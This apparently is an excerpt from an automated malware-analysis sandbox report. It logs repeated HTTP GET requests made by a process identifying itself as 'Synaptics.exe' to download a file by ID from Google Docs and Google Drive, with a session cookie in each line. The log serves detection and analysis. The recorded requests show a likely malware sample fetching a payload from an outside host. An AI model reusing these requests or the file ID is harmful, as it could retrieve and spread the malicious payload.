Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
